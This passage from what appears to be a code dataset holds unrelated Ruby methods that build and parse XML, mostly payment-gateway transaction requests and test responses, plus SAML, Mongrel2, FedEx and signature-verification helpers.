=>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def build_verify_request(credit_card, options)\n timestamp = new_timestamp\n xml = Builder::XmlMarkup.new indent: 2\n xml.tag! 'request', 'timestamp' => timestamp, 'type' => 'otb' do\n add_merchant_details(xml, options)\n xml.tag! 'orderid', sanitize_order_id(options[:order_id])\n add_card(xml, credit_card)\n add_comments(xml, options)\n add_signed_digest(xml, timestamp, @options[:login], sanitize_order_id(options[:order_id]), credit_card.number)\n end\n xml.target!\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def successful_authorize_response\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <Overview>\n <AuthCode DataType=\"String\">889350</AuthCode>\n <CcErrCode DataType=\"S32\">1</CcErrCode>\n <CcReturnMsg DataType=\"String\">Approved.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1212066788586</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <OrderId DataType=\"String\">483e6382-7d12-3001-002b-0003bac00fc9</OrderId>\n <TransactionId DataType=\"String\">483e6382-7d13-3001-002b-0003bac00fc9</TransactionId>\n <TransactionStatus DataType=\"String\">A</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end", "def payu_verify_params(params)\n pos_id = params['pos_id']\n pos = Payu[pos_id]\n\n Signature.verify!(\n params['sig'],\n params['pos_id'],\n params['session_id'],\n params['ts'],\n pos.key2\n )\n end", "def test_generate_request_xml_successful\n assert AxAccount.request_xml(\"CU 0100000\")\n end", "def verify_xml(content)\n tf = nil\n begin\n tf = Tempfile.open('omf-am-rpc')\n tf << content\n tf.close\n cmd = \"#{@@xmlsec} verify --trusted-pem #{@@root_certs} --print-xml-debug #{tf.path} 2> /dev/null\"\n out = []\n #IO.popen(\"#{cmd} 2>&1\") do |so| \n IO.popen(cmd) do |so| \n @signature = Nokogiri::XML.parse(so)\n end \n unless (@signature.xpath('/VerificationContext')[0]['status'] == 'succeeded')\n raise \"Error: Signature doesn't verify\\n#{@signature.to_xml}\"\n end\n ensure\n tf.close! if tf\n end\n end", "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['credentialLevel'] = credential_level unless credential_level.nil?\n xml.tag!('PhysicalVerification', attributes)\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def to_xml\n raise WebexXmlApi::NotEnoughArguments, 'SecurityContext' unless valid?\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.header do\n xml.securityContext do\n PARAMETER_MAPPING.each_pair do |k, v|\n xml.send(v, send(k)) if send(k)\n end\n end\n end\n end\n builder.to_xml.gsub(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\", '')\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def build_request_xml(checks, check_data = {})\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.callvalidate do\n authentication(xml)\n xml.sessions do\n xml.session(\"RID\" => Time.now.to_f) do\n xml.data do\n personal_data(xml, check_data[:personal_data])\n card_data(xml, check_data[:card_data])\n bank_data(xml, check_data[:bank_data])\n income_data(xml, check_data[:income_data])\n required_checks(xml, checks)\n end\n end\n end\n xml.application @config[:application_name]\n end\n end\n builder.doc\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.AddressValidationRequest(:xmlns => \"http://fedex.com/ws/addressvalidation/v2\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_request_timestamp(xml)\n add_options(xml)\n add_address(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def hash_xml(xml, params)\n params.each do |key, value|\n xml = xml_key_value(key, value, xml)\n end\n xml\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def successful_visa_no_3d_purchase_response\n %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n <soap:Body>\n <CardDetailsTransactionResponse xmlns=\"https://www.thepaymentgateway.net/\">\n <CardDetailsTransactionResult AuthorisationAttempted=\"True\">\n <StatusCode>0</StatusCode>\n <Message>AuthCode: 939772</Message>\n </CardDetailsTransactionResult>\n <TransactionOutputData CrossReference=\"110706093540191601939772\">\n 